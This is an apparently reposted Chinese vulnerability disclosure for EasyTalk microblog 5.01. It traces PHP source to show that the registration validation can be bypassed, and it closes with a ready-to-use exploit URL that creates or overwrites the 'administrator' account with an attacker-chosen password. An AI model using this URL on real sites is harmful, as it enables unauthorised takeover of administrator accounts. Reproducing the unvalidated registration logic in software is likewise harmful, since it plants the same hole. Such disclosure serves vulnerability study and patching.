EasyTalk微博任意修改账户漏洞漏洞预警 -电脑资料

时间:2011-03-09 05:28:32
染雾
分享
WORD下载 PDF下载 投诉

作者:心灵

漏洞发现在最新版本5.01旧版本没源码不知是否存在

还是那句话..看代码......

看文件目录文件 op.php

<?php

include('common.inc.php');//载入全局变量

$op = $_GET['op']?$_GET['op']:'login';// 因为下面代码的原因所以这不需要过滤

$allowviewarray=array("view","login","register","reset","faq","web","contact","top");

$allop=array("account","badge","faq","finder","follows","login","mailauth","register","reset","sendmsg","setting","share","theme","view","web","feedback","contact","im","top","guide","privatemsg");//这2个不用解析了

if (!in_array($op, $allowviewarray)) {

tologin();//不是$allowviewarray 定义的就跳到验证登录页面

}

if (in_array($op, $allop)) {

require('source/op_'.$op.'.inc.php');

} else {

header("location: $webaddr/op/web/404");

}

?>

这里简单得很看下common.inc.php

主要代码

$prev=$_SERVER['HTTP_REFERER'];

$addtime=time();

$action=$_POST['action'];

$act=$_GET['act'];//问题在这里....配合一下 register里面的代码就可以了

$refer=$_POST['refer']?$_POST['refer']:$_GET['refer'];

$backto=$_POST['backto']?$_POST['backto']:$_GET['backto']; //ajax 回调

$urlrefer=$_COOKIE["urlrefer"];

再看 source\op_register.inc.php

这里就是 op.php?op=register载入的看op.php那文件就知 简单得很..

还是那句 看代码

<?php

....前面是多余代码...省略 主要是检测登录状态

$invitecode=trim($_GET['invitecode']);

$username=daddslashes(trim($_GET['uname']));

$nickname=daddslashes(clean_html(trim($_GET['unick'])));

$mailadres=daddslashes(trim($_GET['mail']));

$pass1=daddslashes(trim($_GET['pass1']));

$pass2=daddslashes(trim($_GET['pass2']));

$deniedname=array("admin","attachments","badge","images","include"."install","source","templates");

//用户名名称EMALL密码1 密码2都做了过滤注入工作...

if ($act=="check") {//主要问题在这里...上面common.inc.php说了act是_GET的 如果act不等于check呢?那就不用检测了..............

if ($closereg==3) {

$invitemsg=invitecodeauth($invitecode);

if ($invitemsg!='ok') {

echo $invitemsg;

exit;

}

}

if(!preg_match("/^[a-zA-Z\d]*$/i",$username)) {

echo "账户名只能使用数字和字母组合!";

exit;

}

if(in_array($username, $deniedname)) {

echo "账户名不能使用!";

//........省略一堆验证注册信息的东西

if ($act=="reg") {//悲剧了....他真以为所有人都按照他脚本的路去走,

EasyTalk微博任意修改账户漏洞漏洞预警

电脑资料

《EasyTalk微博任意修改账户漏洞漏洞预警》()。。。

if ($username &

& $nickname && $mailadres && $pass1==$pass2) { //这文件开头说了都是_GET 里的

$t=$db->query("INSERT INTO et_users (user_name,nickname,password,mailadres,signupdate) VALUES ('$username','$nickname','".md5(md5($pass2))."','$mailadres','$addtime')");

//悲剧悲剧 直接写入数据库了....

//来到这里已经完成整个漏洞过程 下面代码省略

?>

EXP:op.php?op=register&act=reg&uname=administrator&unick=admin&mail=xinling@t00ls.net

&pass1=admin&pass2=admin

administrator是默认管理员账号当然可以修改其他

EasyTalk微博任意修改账户漏洞漏洞预警 -电脑资料

手机扫码分享

Top